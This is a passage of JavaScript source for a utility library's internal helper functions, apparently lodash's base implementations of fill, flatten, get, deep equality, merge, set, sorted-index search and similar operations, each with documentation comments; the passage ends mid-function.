function baseFill(array, value, start, end) {
var length = array.length;
start = toInteger(start);
if (start < 0) {
start = -start > length ? 0 : (length + start);
}
end = (end === undefined || end > length) ? length : toInteger(end);
if (end < 0) {
end += length;
}
end = start > end ? 0 : toLength(end);
while (start < end) {
array[start++] = value;
}
return array;
}
/**
* The base implementation of `_.filter` without support for iteratee shorthands.
*
* @private
* @param {Array|Object} collection The collection to iterate over.
* @param {Function} predicate The function invoked per iteration.
* @returns {Array} Returns the new filtered array.
*/
function baseFilter(collection, predicate) {
var result = [];
baseEach(collection, function(value, index, collection) {
if (predicate(value, index, collection)) {
result.push(value);
}
});
return result;
}
/**
* The base implementation of `_.flatten` with support for restricting flattening.
*
* @private
* @param {Array} array The array to flatten.
* @param {number} depth The maximum recursion depth.
* @param {boolean} [predicate=isFlattenable] The function invoked per iteration.
* @param {boolean} [isStrict] Restrict to values that pass `predicate` checks.
* @param {Array} [result=[]] The initial result value.
* @returns {Array} Returns the new flattened array.
*/
function baseFlatten(array, depth, predicate, isStrict, result) {
var index = -1,
length = array.length;
predicate || (predicate = isFlattenable);
result || (result = []);
while (++index < length) {
var value = array[index];
if (depth > 0 && predicate(value)) {
if (depth > 1) {
// Recursively flatten arrays (susceptible to call stack limits).
baseFlatten(value, depth - 1, predicate, isStrict, result);
} else {
arrayPush(result, value);
}
} else if (!isStrict) {
result[result.length] = value;
}
}
return result;
}
/**
* The base implementation of `baseForOwn` which iterates over `object`
* properties returned by `keysFunc` and invokes `iteratee` for each property.
* Iteratee functions may exit iteration early by explicitly returning `false`.
*
* @private
* @param {Object} object The object to iterate over.
* @param {Function} iteratee The function invoked per iteration.
* @param {Function} keysFunc The function to get the keys of `object`.
* @returns {Object} Returns `object`.
*/
var baseFor = createBaseFor();
/**
* This function is like `baseFor` except that it iterates over properties
* in the opposite order.
*
* @private
* @param {Object} object The object to iterate over.
* @param {Function} iteratee The function invoked per iteration.
* @param {Function} keysFunc The function to get the keys of `object`.
* @returns {Object} Returns `object`.
*/
var baseForRight = createBaseFor(true);
/**
* The base implementation of `_.forOwn` without support for iteratee shorthands.
*
* @private
* @param {Object} object The object to iterate over.
* @param {Function} iteratee The function invoked per iteration.
* @returns {Object} Returns `object`.
*/
function baseForOwn(object, iteratee) {
return object && baseFor(object, iteratee, keys);
}
/**
* The base implementation of `_.forOwnRight` without support for iteratee shorthands.
*
* @private
* @param {Object} object The object to iterate over.
* @param {Function} iteratee The function invoked per iteration.
* @returns {Object} Returns `object`.
*/
function baseForOwnRight(object, iteratee) {
return object && baseForRight(object, iteratee, keys);
}
/**
* The base implementation of `_.functions` which creates an array of
* `object` function property names filtered from `props`.
*
* @private
* @param {Object} object The object to inspect.
* @param {Array} props The property names to filter.
* @returns {Array} Returns the function names.
*/
function baseFunctions(object, props) {
return arrayFilter(props, function(key) {
return isFunction(object[key]);
});
}
/**
* The base implementation of `_.get` without support for default values.
*
* @private
* @param {Object} object The object to query.
* @param {Array|string} path The path of the property to get.
* @returns {*} Returns the resolved value.
*/
function baseGet(object, path) {
path = castPath(path, object);
var index = 0,
length = path.length;
while (object != null && index < length) {
object = object[toKey(path[index++])];
}
return (index && index == length) ? object : undefined;
}
/**
* The base implementation of `getAllKeys` and `getAllKeysIn` which uses
* `keysFunc` and `symbolsFunc` to get the enumerable property names and
* symbols of `object`.
*
* @private
* @param {Object} object The object to query.
* @param {Function} keysFunc The function to get the keys of `object`.
* @param {Function} symbolsFunc The function to get the symbols of `object`.
* @returns {Array} Returns the array of property names and symbols.
*/
function baseGetAllKeys(object, keysFunc, symbolsFunc) {
var result = keysFunc(object);
return isArray(object) ? result : arrayPush(result, symbolsFunc(object));
}
/**
* The base implementation of `getTag` without fallbacks for buggy environments.
*
* @private
* @param {*} value The value to query.
* @returns {string} Returns the `toStringTag`.
*/
function baseGetTag(value) {
if (value == null) {
return value === undefined ? undefinedTag : nullTag;
}
return (symToStringTag && symToStringTag in Object(value))
? getRawTag(value)
: objectToString(value);
}
/**
* The base implementation of `_.gt` which doesn't coerce arguments.
*
* @private
* @param {*} value The value to compare.
* @param {*} other The other value to compare.
* @returns {boolean} Returns `true` if `value` is greater than `other`,
* else `false`.
*/
function baseGt(value, other) {
return value > other;
}
/**
* The base implementation of `_.has` without support for deep paths.
*
* @private
* @param {Object} [object] The object to query.
* @param {Array|string} key The key to check.
* @returns {boolean} Returns `true` if `key` exists, else `false`.
*/
function baseHas(object, key) {
return object != null && hasOwnProperty.call(object, key);
}
/**
* The base implementation of `_.hasIn` without support for deep paths.
*
* @private
* @param {Object} [object] The object to query.
* @param {Array|string} key The key to check.
* @returns {boolean} Returns `true` if `key` exists, else `false`.
*/
function baseHasIn(object, key) {
return object != null && key in Object(object);
}
/**
* The base implementation of `_.inRange` which doesn't coerce arguments.
*
* @private
* @param {number} number The number to check.
* @param {number} start The start of the range.
* @param {number} end The end of the range.
* @returns {boolean} Returns `true` if `number` is in the range, else `false`.
*/
function baseInRange(number, start, end) {
return number >= nativeMin(start, end) && number < nativeMax(start, end);
}
/**
* The base implementation of methods like `_.intersection`, without support
* for iteratee shorthands, that accepts an array of arrays to inspect.
*
* @private
* @param {Array} arrays The arrays to inspect.
* @param {Function} [iteratee] The iteratee invoked per element.
* @param {Function} [comparator] The comparator invoked per element.
* @returns {Array} Returns the new array of shared values.
*/
function baseIntersection(arrays, iteratee, comparator) {
var includes = comparator ? arrayIncludesWith : arrayIncludes,
length = arrays[0].length,
othLength = arrays.length,
othIndex = othLength,
caches = Array(othLength),
maxLength = Infinity,
result = [];
while (othIndex--) {
var array = arrays[othIndex];
if (othIndex && iteratee) {
array = arrayMap(array, baseUnary(iteratee));
}
maxLength = nativeMin(array.length, maxLength);
caches[othIndex] = !comparator && (iteratee || (length >= 120 && array.length >= 120))
? new SetCache(othIndex && array)
: undefined;
}
array = arrays[0];
var index = -1,
seen = caches[0];
outer:
while (++index < length && result.length < maxLength) {
var value = array[index],
computed = iteratee ? iteratee(value) : value;
value = (comparator || value !== 0) ? value : 0;
if (!(seen
? cacheHas(seen, computed)
: includes(result, computed, comparator)
)) {
othIndex = othLength;
while (--othIndex) {
var cache = caches[othIndex];
if (!(cache
? cacheHas(cache, computed)
: includes(arrays[othIndex], computed, comparator))
) {
continue outer;
}
}
if (seen) {
seen.push(computed);
}
result.push(value);
}
}
return result;
}
/**
* The base implementation of `_.invert` and `_.invertBy` which inverts
* `object` with values transformed by `iteratee` and set by `setter`.
*
* @private
* @param {Object} object The object to iterate over.
* @param {Function} setter The function to set `accumulator` values.
* @param {Function} iteratee The iteratee to transform values.
* @param {Object} accumulator The initial inverted object.
* @returns {Function} Returns `accumulator`.
*/
function baseInverter(object, setter, iteratee, accumulator) {
baseForOwn(object, function(value, key, object) {
setter(accumulator, iteratee(value), key, object);
});
return accumulator;
}
/**
* The base implementation of `_.invoke` without support for individual
* method arguments.
*
* @private
* @param {Object} object The object to query.
* @param {Array|string} path The path of the method to invoke.
* @param {Array} args The arguments to invoke the method with.
* @returns {*} Returns the result of the invoked method.
*/
function baseInvoke(object, path, args) {
path = castPath(path, object);
object = parent(object, path);
var func = object == null ? object : object[toKey(last(path))];
return func == null ? undefined : apply(func, object, args);
}
/**
* The base implementation of `_.isArguments`.
*
* @private
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is an `arguments` object,
*/
function baseIsArguments(value) {
return isObjectLike(value) && baseGetTag(value) == argsTag;
}
/**
* The base implementation of `_.isArrayBuffer` without Node.js optimizations.
*
* @private
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is an array buffer, else `false`.
*/
function baseIsArrayBuffer(value) {
return isObjectLike(value) && baseGetTag(value) == arrayBufferTag;
}
/**
* The base implementation of `_.isDate` without Node.js optimizations.
*
* @private
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is a date object, else `false`.
*/
function baseIsDate(value) {
return isObjectLike(value) && baseGetTag(value) == dateTag;
}
/**
* The base implementation of `_.isEqual` which supports partial comparisons
* and tracks traversed objects.
*
* @private
* @param {*} value The value to compare.
* @param {*} other The other value to compare.
* @param {boolean} bitmask The bitmask flags.
* 1 - Unordered comparison
* 2 - Partial comparison
* @param {Function} [customizer] The function to customize comparisons.
* @param {Object} [stack] Tracks traversed `value` and `other` objects.
* @returns {boolean} Returns `true` if the values are equivalent, else `false`.
*/
function baseIsEqual(value, other, bitmask, customizer, stack) {
if (value === other) {
return true;
}
if (value == null || other == null || (!isObjectLike(value) && !isObjectLike(other))) {
return value !== value && other !== other;
}
return baseIsEqualDeep(value, other, bitmask, customizer, baseIsEqual, stack);
}
/**
* A specialized version of `baseIsEqual` for arrays and objects which performs
* deep comparisons and tracks traversed objects enabling objects with circular
* references to be compared.
*
* @private
* @param {Object} object The object to compare.
* @param {Object} other The other object to compare.
* @param {number} bitmask The bitmask flags. See `baseIsEqual` for more details.
* @param {Function} customizer The function to customize comparisons.
* @param {Function} equalFunc The function to determine equivalents of values.
* @param {Object} [stack] Tracks traversed `object` and `other` objects.
* @returns {boolean} Returns `true` if the objects are equivalent, else `false`.
*/
function baseIsEqualDeep(object, other, bitmask, customizer, equalFunc, stack) {
var objIsArr = isArray(object),
othIsArr = isArray(other),
objTag = objIsArr ? arrayTag : getTag(object),
othTag = othIsArr ? arrayTag : getTag(other);
objTag = objTag == argsTag ? objectTag : objTag;
othTag = othTag == argsTag ? objectTag : othTag;
var objIsObj = objTag == objectTag,
othIsObj = othTag == objectTag,
isSameTag = objTag == othTag;
if (isSameTag && isBuffer(object)) {
if (!isBuffer(other)) {
return false;
}
objIsArr = true;
objIsObj = false;
}
if (isSameTag && !objIsObj) {
stack || (stack = new Stack);
return (objIsArr || isTypedArray(object))
? equalArrays(object, other, bitmask, customizer, equalFunc, stack)
: equalByTag(object, other, objTag, bitmask, customizer, equalFunc, stack);
}
if (!(bitmask & COMPARE_PARTIAL_FLAG)) {
var objIsWrapped = objIsObj && hasOwnProperty.call(object, '__wrapped__'),
othIsWrapped = othIsObj && hasOwnProperty.call(other, '__wrapped__');
if (objIsWrapped || othIsWrapped) {
var objUnwrapped = objIsWrapped ? object.value() : object,
othUnwrapped = othIsWrapped ? other.value() : other;
stack || (stack = new Stack);
return equalFunc(objUnwrapped, othUnwrapped, bitmask, customizer, stack);
}
}
if (!isSameTag) {
return false;
}
stack || (stack = new Stack);
return equalObjects(object, other, bitmask, customizer, equalFunc, stack);
}
/**
* The base implementation of `_.isMap` without Node.js optimizations.
*
* @private
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is a map, else `false`.
*/
function baseIsMap(value) {
return isObjectLike(value) && getTag(value) == mapTag;
}
/**
* The base implementation of `_.isMatch` without support for iteratee shorthands.
*
* @private
* @param {Object} object The object to inspect.
* @param {Object} source The object of property values to match.
* @param {Array} matchData The property names, values, and compare flags to match.
* @param {Function} [customizer] The function to customize comparisons.
* @returns {boolean} Returns `true` if `object` is a match, else `false`.
*/
function baseIsMatch(object, source, matchData, customizer) {
var index = matchData.length,
length = index,
noCustomizer = !customizer;
if (object == null) {
return !length;
}
object = Object(object);
while (index--) {
var data = matchData[index];
if ((noCustomizer && data[2])
? data[1] !== object[data[0]]
: !(data[0] in object)
) {
return false;
}
}
while (++index < length) {
data = matchData[index];
var key = data[0],
objValue = object[key],
srcValue = data[1];
if (noCustomizer && data[2]) {
if (objValue === undefined && !(key in object)) {
return false;
}
} else {
var stack = new Stack;
if (customizer) {
var result = customizer(objValue, srcValue, key, object, source, stack);
}
if (!(result === undefined
? baseIsEqual(srcValue, objValue, COMPARE_PARTIAL_FLAG | COMPARE_UNORDERED_FLAG, customizer, stack)
: result
)) {
return false;
}
}
}
return true;
}
/**
* The base implementation of `_.isNative` without bad shim checks.
*
* @private
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is a native function,
* else `false`.
*/
function baseIsNative(value) {
if (!isObject(value) || isMasked(value)) {
return false;
}
var pattern = isFunction(value) ? reIsNative : reIsHostCtor;
return pattern.test(toSource(value));
}
/**
* The base implementation of `_.isRegExp` without Node.js optimizations.
*
* @private
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is a regexp, else `false`.
*/
function baseIsRegExp(value) {
return isObjectLike(value) && baseGetTag(value) == regexpTag;
}
/**
* The base implementation of `_.isSet` without Node.js optimizations.
*
* @private
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is a set, else `false`.
*/
function baseIsSet(value) {
return isObjectLike(value) && getTag(value) == setTag;
}
/**
* The base implementation of `_.isTypedArray` without Node.js optimizations.
*
* @private
* @param {*} value The value to check.
* @returns {boolean} Returns `true` if `value` is a typed array, else `false`.
*/
function baseIsTypedArray(value) {
return isObjectLike(value) &&
isLength(value.length) && !!typedArrayTags[baseGetTag(value)];
}
/**
* The base implementation of `_.iteratee`.
*
* @private
* @param {*} [value=_.identity] The value to convert to an iteratee.
* @returns {Function} Returns the iteratee.
*/
function baseIteratee(value) {
// Don't store the `typeof` result in a variable to avoid a JIT bug in Safari 9.
// See https://bugs.webkit.org/show_bug.cgi?id=156034 for more details.
if (typeof value == 'function') {
return value;
}
if (value == null) {
return identity;
}
if (typeof value == 'object') {
return isArray(value)
? baseMatchesProperty(value[0], value[1])
: baseMatches(value);
}
return property(value);
}
/**
* The base implementation of `_.keys` which doesn't treat sparse arrays as dense.
*
* @private
* @param {Object} object The object to query.
* @returns {Array} Returns the array of property names.
*/
function baseKeys(object) {
if (!isPrototype(object)) {
return nativeKeys(object);
}
var result = [];
for (var key in Object(object)) {
if (hasOwnProperty.call(object, key) && key != 'constructor') {
result.push(key);
}
}
return result;
}
/**
* The base implementation of `_.keysIn` which doesn't treat sparse arrays as dense.
*
* @private
* @param {Object} object The object to query.
* @returns {Array} Returns the array of property names.
*/
function baseKeysIn(object) {
if (!isObject(object)) {
return nativeKeysIn(object);
}
var isProto = isPrototype(object),
result = [];
for (var key in object) {
if (!(key == 'constructor' && (isProto || !hasOwnProperty.call(object, key)))) {
result.push(key);
}
}
return result;
}
/**
* The base implementation of `_.lt` which doesn't coerce arguments.
*
* @private
* @param {*} value The value to compare.
* @param {*} other The other value to compare.
* @returns {boolean} Returns `true` if `value` is less than `other`,
* else `false`.
*/
function baseLt(value, other) {
return value < other;
}
/**
* The base implementation of `_.map` without support for iteratee shorthands.
*
* @private
* @param {Array|Object} collection The collection to iterate over.
* @param {Function} iteratee The function invoked per iteration.
* @returns {Array} Returns the new mapped array.
*/
function baseMap(collection, iteratee) {
var index = -1,
result = isArrayLike(collection) ? Array(collection.length) : [];
baseEach(collection, function(value, key, collection) {
result[++index] = iteratee(value, key, collection);
});
return result;
}
/**
* The base implementation of `_.matches` which doesn't clone `source`.
*
* @private
* @param {Object} source The object of property values to match.
* @returns {Function} Returns the new spec function.
*/
function baseMatches(source) {
var matchData = getMatchData(source);
if (matchData.length == 1 && matchData[0][2]) {
return matchesStrictComparable(matchData[0][0], matchData[0][1]);
}
return function(object) {
return object === source || baseIsMatch(object, source, matchData);
};
}
/**
* The base implementation of `_.matchesProperty` which doesn't clone `srcValue`.
*
* @private
* @param {string} path The path of the property to get.
* @param {*} srcValue The value to match.
* @returns {Function} Returns the new spec function.
*/
function baseMatchesProperty(path, srcValue) {
if (isKey(path) && isStrictComparable(srcValue)) {
return matchesStrictComparable(toKey(path), srcValue);
}
return function(object) {
var objValue = get(object, path);
return (objValue === undefined && objValue === srcValue)
? hasIn(object, path)
: baseIsEqual(srcValue, objValue, COMPARE_PARTIAL_FLAG | COMPARE_UNORDERED_FLAG);
};
}
/**
* The base implementation of `_.merge` without support for multiple sources.
*
* @private
* @param {Object} object The destination object.
* @param {Object} source The source object.
* @param {number} srcIndex The index of `source`.
* @param {Function} [customizer] The function to customize merged values.
* @param {Object} [stack] Tracks traversed source values and their merged
* counterparts.
*/
function baseMerge(object, source, srcIndex, customizer, stack) {
if (object === source) {
return;
}
baseFor(source, function(srcValue, key) {
stack || (stack = new Stack);
if (isObject(srcValue)) {
baseMergeDeep(object, source, key, srcIndex, baseMerge, customizer, stack);
}
else {
var newValue = customizer
? customizer(safeGet(object, key), srcValue, (key + ''), object, source, stack)
: undefined;
if (newValue === undefined) {
newValue = srcValue;
}
assignMergeValue(object, key, newValue);
}
}, keysIn);
}
/**
* A specialized version of `baseMerge` for arrays and objects which performs
* deep merges and tracks traversed objects enabling objects with circular
* references to be merged.
*
* @private
* @param {Object} object The destination object.
* @param {Object} source The source object.
* @param {string} key The key of the value to merge.
* @param {number} srcIndex The index of `source`.
* @param {Function} mergeFunc The function to merge values.
* @param {Function} [customizer] The function to customize assigned values.
* @param {Object} [stack] Tracks traversed source values and their merged
* counterparts.
*/
function baseMergeDeep(object, source, key, srcIndex, mergeFunc, customizer, stack) {
var objValue = safeGet(object, key),
srcValue = safeGet(source, key),
stacked = stack.get(srcValue);
if (stacked) {
assignMergeValue(object, key, stacked);
return;
}
var newValue = customizer
? customizer(objValue, srcValue, (key + ''), object, source, stack)
: undefined;
var isCommon = newValue === undefined;
if (isCommon) {
var isArr = isArray(srcValue),
isBuff = !isArr && isBuffer(srcValue),
isTyped = !isArr && !isBuff && isTypedArray(srcValue);
newValue = srcValue;
if (isArr || isBuff || isTyped) {
if (isArray(objValue)) {
newValue = objValue;
}
else if (isArrayLikeObject(objValue)) {
newValue = copyArray(objValue);
}
else if (isBuff) {
isCommon = false;
newValue = cloneBuffer(srcValue, true);
}
else if (isTyped) {
isCommon = false;
newValue = cloneTypedArray(srcValue, true);
}
else {
newValue = [];
}
}
else if (isPlainObject(srcValue) || isArguments(srcValue)) {
newValue = objValue;
if (isArguments(objValue)) {
newValue = toPlainObject(objValue);
}
else if (!isObject(objValue) || isFunction(objValue)) {
newValue = initCloneObject(srcValue);
}
}
else {
isCommon = false;
}
}
if (isCommon) {
// Recursively merge objects and arrays (susceptible to call stack limits).
stack.set(srcValue, newValue);
mergeFunc(newValue, srcValue, srcIndex, customizer, stack);
stack['delete'](srcValue);
}
assignMergeValue(object, key, newValue);
}
/**
* The base implementation of `_.nth` which doesn't coerce arguments.
*
* @private
* @param {Array} array The array to query.
* @param {number} n The index of the element to return.
* @returns {*} Returns the nth element of `array`.
*/
function baseNth(array, n) {
var length = array.length;
if (!length) {
return;
}
n += n < 0 ? length : 0;
return isIndex(n, length) ? array[n] : undefined;
}
/**
* The base implementation of `_.orderBy` without param guards.
*
* @private
* @param {Array|Object} collection The collection to iterate over.
* @param {Function[]|Object[]|string[]} iteratees The iteratees to sort by.
* @param {string[]} orders The sort orders of `iteratees`.
* @returns {Array} Returns the new sorted array.
*/
function baseOrderBy(collection, iteratees, orders) {
if (iteratees.length) {
iteratees = arrayMap(iteratees, function(iteratee) {
if (isArray(iteratee)) {
return function(value) {
return baseGet(value, iteratee.length === 1 ? iteratee[0] : iteratee);
}
}
return iteratee;
});
} else {
iteratees = [identity];
}
var index = -1;
iteratees = arrayMap(iteratees, baseUnary(getIteratee()));
var result = baseMap(collection, function(value, key, collection) {
var criteria = arrayMap(iteratees, function(iteratee) {
return iteratee(value);
});
return { 'criteria': criteria, 'index': ++index, 'value': value };
});
return baseSortBy(result, function(object, other) {
return compareMultiple(object, other, orders);
});
}
/**
* The base implementation of `_.pick` without support for individual
* property identifiers.
*
* @private
* @param {Object} object The source object.
* @param {string[]} paths The property paths to pick.
* @returns {Object} Returns the new object.
*/
function basePick(object, paths) {
return basePickBy(object, paths, function(value, path) {
return hasIn(object, path);
});
}
/**
* The base implementation of `_.pickBy` without support for iteratee shorthands.
*
* @private
* @param {Object} object The source object.
* @param {string[]} paths The property paths to pick.
* @param {Function} predicate The function invoked per property.
* @returns {Object} Returns the new object.
*/
function basePickBy(object, paths, predicate) {
var index = -1,
length = paths.length,
result = {};
while (++index < length) {
var path = paths[index],
value = baseGet(object, path);
if (predicate(value, path)) {
baseSet(result, castPath(path, object), value);
}
}
return result;
}
/**
* A specialized version of `baseProperty` which supports deep paths.
*
* @private
* @param {Array|string} path The path of the property to get.
* @returns {Function} Returns the new accessor function.
*/
function basePropertyDeep(path) {
return function(object) {
return baseGet(object, path);
};
}
/**
* The base implementation of `_.pullAllBy` without support for iteratee
* shorthands.
*
* @private
* @param {Array} array The array to modify.
* @param {Array} values The values to remove.
* @param {Function} [iteratee] The iteratee invoked per element.
* @param {Function} [comparator] The comparator invoked per element.
* @returns {Array} Returns `array`.
*/
function basePullAll(array, values, iteratee, comparator) {
var indexOf = comparator ? baseIndexOfWith : baseIndexOf,
index = -1,
length = values.length,
seen = array;
if (array === values) {
values = copyArray(values);
}
if (iteratee) {
seen = arrayMap(array, baseUnary(iteratee));
}
while (++index < length) {
var fromIndex = 0,
value = values[index],
computed = iteratee ? iteratee(value) : value;
while ((fromIndex = indexOf(seen, computed, fromIndex, comparator)) > -1) {
if (seen !== array) {
splice.call(seen, fromIndex, 1);
}
splice.call(array, fromIndex, 1);
}
}
return array;
}
/**
* The base implementation of `_.pullAt` without support for individual
* indexes or capturing the removed elements.
*
* @private
* @param {Array} array The array to modify.
* @param {number[]} indexes The indexes of elements to remove.
* @returns {Array} Returns `array`.
*/
function basePullAt(array, indexes) {
var length = array ? indexes.length : 0,
lastIndex = length - 1;
while (length--) {
var index = indexes[length];
if (length == lastIndex || index !== previous) {
var previous = index;
if (isIndex(index)) {
splice.call(array, index, 1);
} else {
baseUnset(array, index);
}
}
}
return array;
}
/**
* The base implementation of `_.random` without support for returning
* floating-point numbers.
*
* @private
* @param {number} lower The lower bound.
* @param {number} upper The upper bound.
* @returns {number} Returns the random number.
*/
function baseRandom(lower, upper) {
return lower + nativeFloor(nativeRandom() * (upper - lower + 1));
}
/**
* The base implementation of `_.range` and `_.rangeRight` which doesn't
* coerce arguments.
*
* @private
* @param {number} start The start of the range.
* @param {number} end The end of the range.
* @param {number} step The value to increment or decrement by.
* @param {boolean} [fromRight] Specify iterating from right to left.
* @returns {Array} Returns the range of numbers.
*/
function baseRange(start, end, step, fromRight) {
var index = -1,
length = nativeMax(nativeCeil((end - start) / (step || 1)), 0),
result = Array(length);
while (length--) {
result[fromRight ? length : ++index] = start;
start += step;
}
return result;
}
/**
* The base implementation of `_.repeat` which doesn't coerce arguments.
*
* @private
* @param {string} string The string to repeat.
* @param {number} n The number of times to repeat the string.
* @returns {string} Returns the repeated string.
*/
function baseRepeat(string, n) {
var result = '';
if (!string || n < 1 || n > MAX_SAFE_INTEGER) {
return result;
}
// Leverage the exponentiation by squaring algorithm for a faster repeat.
// See https://en.wikipedia.org/wiki/Exponentiation_by_squaring for more details.
do {
if (n % 2) {
result += string;
}
n = nativeFloor(n / 2);
if (n) {
string += string;
}
} while (n);
return result;
}
/**
* The base implementation of `_.rest` which doesn't validate or coerce arguments.
*
* @private
* @param {Function} func The function to apply a rest parameter to.
* @param {number} [start=func.length-1] The start position of the rest parameter.
* @returns {Function} Returns the new function.
*/
function baseRest(func, start) {
return setToString(overRest(func, start, identity), func + '');
}
/**
* The base implementation of `_.sample`.
*
* @private
* @param {Array|Object} collection The collection to sample.
* @returns {*} Returns the random element.
*/
function baseSample(collection) {
return arraySample(values(collection));
}
/**
* The base implementation of `_.sampleSize` without param guards.
*
* @private
* @param {Array|Object} collection The collection to sample.
* @param {number} n The number of elements to sample.
* @returns {Array} Returns the random elements.
*/
function baseSampleSize(collection, n) {
var array = values(collection);
return shuffleSelf(array, baseClamp(n, 0, array.length));
}
/**
* The base implementation of `_.set`.
*
* @private
* @param {Object} object The object to modify.
* @param {Array|string} path The path of the property to set.
* @param {*} value The value to set.
* @param {Function} [customizer] The function to customize path creation.
* @returns {Object} Returns `object`.
*/
function baseSet(object, path, value, customizer) {
if (!isObject(object)) {
return object;
}
path = castPath(path, object);
var index = -1,
length = path.length,
lastIndex = length - 1,
nested = object;
while (nested != null && ++index < length) {
var key = toKey(path[index]),
newValue = value;
if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
return object;
}
if (index != lastIndex) {
var objValue = nested[key];
newValue = customizer ? customizer(objValue, key, nested) : undefined;
if (newValue === undefined) {
newValue = isObject(objValue)
? objValue
: (isIndex(path[index + 1]) ? [] : {});
}
}
assignValue(nested, key, newValue);
nested = nested[key];
}
return object;
}
/**
* The base implementation of `setData` without support for hot loop shorting.
*
* @private
* @param {Function} func The function to associate metadata with.
* @param {*} data The metadata.
* @returns {Function} Returns `func`.
*/
var baseSetData = !metaMap ? identity : function(func, data) {
metaMap.set(func, data);
return func;
};
/**
* The base implementation of `setToString` without support for hot loop shorting.
*
* @private
* @param {Function} func The function to modify.
* @param {Function} string The `toString` result.
* @returns {Function} Returns `func`.
*/
var baseSetToString = !defineProperty ? identity : function(func, string) {
return defineProperty(func, 'toString', {
'configurable': true,
'enumerable': false,
'value': constant(string),
'writable': true
});
};
/**
* The base implementation of `_.shuffle`.
*
* @private
* @param {Array|Object} collection The collection to shuffle.
* @returns {Array} Returns the new shuffled array.
*/
function baseShuffle(collection) {
return shuffleSelf(values(collection));
}
/**
* The base implementation of `_.slice` without an iteratee call guard.
*
* @private
* @param {Array} array The array to slice.
* @param {number} [start=0] The start position.
* @param {number} [end=array.length] The end position.
* @returns {Array} Returns the slice of `array`.
*/
function baseSlice(array, start, end) {
var index = -1,
length = array.length;
if (start < 0) {
start = -start > length ? 0 : (length + start);
}
end = end > length ? length : end;
if (end < 0) {
end += length;
}
length = start > end ? 0 : ((end - start) >>> 0);
start >>>= 0;
var result = Array(length);
while (++index < length) {
result[index] = array[index + start];
}
return result;
}
/**
* The base implementation of `_.some` without support for iteratee shorthands.
*
* @private
* @param {Array|Object} collection The collection to iterate over.
* @param {Function} predicate The function invoked per iteration.
* @returns {boolean} Returns `true` if any element passes the predicate check,
* else `false`.
*/
function baseSome(collection, predicate) {
var result;
baseEach(collection, function(value, index, collection) {
result = predicate(value, index, collection);
return !result;
});
return !!result;
}
/**
* The base implementation of `_.sortedIndex` and `_.sortedLastIndex` which
* performs a binary search of `array` to determine the index at which `value`
* should be inserted into `array` in order to maintain its sort order.
*
* @private
* @param {Array} array The sorted array to inspect.
* @param {*} value The value to evaluate.
* @param {boolean} [retHighest] Specify returning the highest qualified index.
* @returns {number} Returns the index at which `value` should be inserted
* into `array`.
*/
function baseSortedIndex(array, value, retHighest) {
var low = 0,
high = array == null ? low : array.length;
if (typeof value == 'number' && value === value && high <= HALF_MAX_ARRAY_LENGTH) {
while (low < high) {
var mid = (low + high) >>> 1,
computed = array[mid];
if (computed !== null && !isSymbol(computed) &&
(retHighest ? (computed <= value) : (computed < value))) {
low = mid + 1;
} else {
high = mid;
}
}
return high;
}
return baseSortedIndexBy(array, value, identity, retHighest);
}
/**
* The base implementation of `_.sortedIndexBy` and `_.sortedLastIndexBy`
* which invokes `iteratee` for `value` and each element of `array` to compute
* their sort ranking. The iteratee is invoked with one argument; (value).
*
* @private
* @param {Array} array The sorted array to inspect.
* @param {*} value The value to evaluate.
* @param {Function} iteratee The iteratee invoked per element.
* @param {boolean} [retHighest] Specify returning the highest qualified index.
* @returns {number} Returns the index at which `value` should be inserted
* into `array`.
*/
function baseSortedIndexBy(array, value, iteratee, retHighest) {
var low = 0,
high = array == null ? 0 : array.length;
if (high === 0) {
return 0;
}
value = iteratee(value);
var valIsNaN = value !== value,
valIsNull = value === null,
valIsSymbol = isSymbol(value),
valIsUndefined = value === undefined;
while (low < high) {
var mid = nativeFloor((low + high) / 2),
computed = iteratee(array[mid]),
othIsDefined = computed !== undefined,
othIsNull = computed === null,
othIsReflexive = computed === computed,
othIsSymbol = isSymbol(computed);
if (valIsNaN) {
var setLow = retHighest || othIsReflexive;
} else if (valIsUndefined) {
setLow = othIsReflexive && (retHighest || othIsDefined);
} else if (valIsNull) {
setLow = othIsReflexive && othIsDefined && (retHighest || !othIsNull);
} else if (valIsSymbol) {
setLow = othIsReflexive && othIsDefined && !othIsNull && (retHighest || !othIsSymbol);
} else if (othIsNull || othIsSymbol) {
setLow = false;
} else {
setLow = retHighest ? (computed <= value) : (computed < value);
}
if (setLow) {
low = mid + 1;
} else {
high = mid;
}
}
return nativeMin(high, MAX_ARRAY_INDEX);
}
/**
* The base implementation of `_.sortedUniq` and `_.sortedUniqBy` without
* support for iteratee shorthands.
*
* @private
* @param {Array} array The array to inspect.
* @param {Function} [iteratee] The iteratee invoked per element.
* @returns {Array} Returns the new duplicate free array.
*/
function baseSortedUniq(array, iteratee) {
var index = -1,
length = array.length,
resIndex = 0,
result = [];
while (++index < length) {
var value = array[index],
computed = iteratee ? iteratee(value) : value;
if (!index || !eq(computed, seen)) {
var seen = computed;
result[resIndex++] = value === 0 ? 0 : value;
}
}
return result;
}
/**
* The base implementation of `_.toNumber` which doesn't ensure correct
* conversions of binary, hexadecimal, or octal string values.
*
* @private
* @param {*} value The value to process.
* @returns {number} Returns the number.
*/
function baseToNumber(value) {
if (typeof value == 'number') {
return value;
}
if (isSymbol(value)) {
return NAN;
}
return +value;
}
/**
* The base implementation of `_.toString` which doesn't convert nullish
* values to empty strings.
*
* @private
* @param {*} value The value to process.
* @returns {string} Returns the string.
*/
function baseToString(value) {
// Exit early for strings to avoid a performance hit in some environments.
if (typeof value == 'string') {
return value;
}
if (isArray(value)) {
// Recursively convert values (susceptible to call stack limits).
return arrayMap(value, baseToString) + '';
}
if (isSymbol(value)) {
return symbolToString ? symbolToString.call(value) : '';
}
var result = (value + '');
return (result == '0' && (1 / value) == -INFINITY) ? '-0' : result;
}
/**
* The base implementation of `_.uniqBy` without support for iteratee shorthands.
*
* @private
* @param {Array} array The array to inspect.
* @param {Function} [iteratee] The iteratee invoked per element.
* @param {Function} [comparator] The comparator invoked per element.
* @returns {Array} Returns the new duplicate free array.
*/
function baseUniq(array, iteratee, comparator) {
var index = -1,
includes = arrayIncludes,
length = array.length,
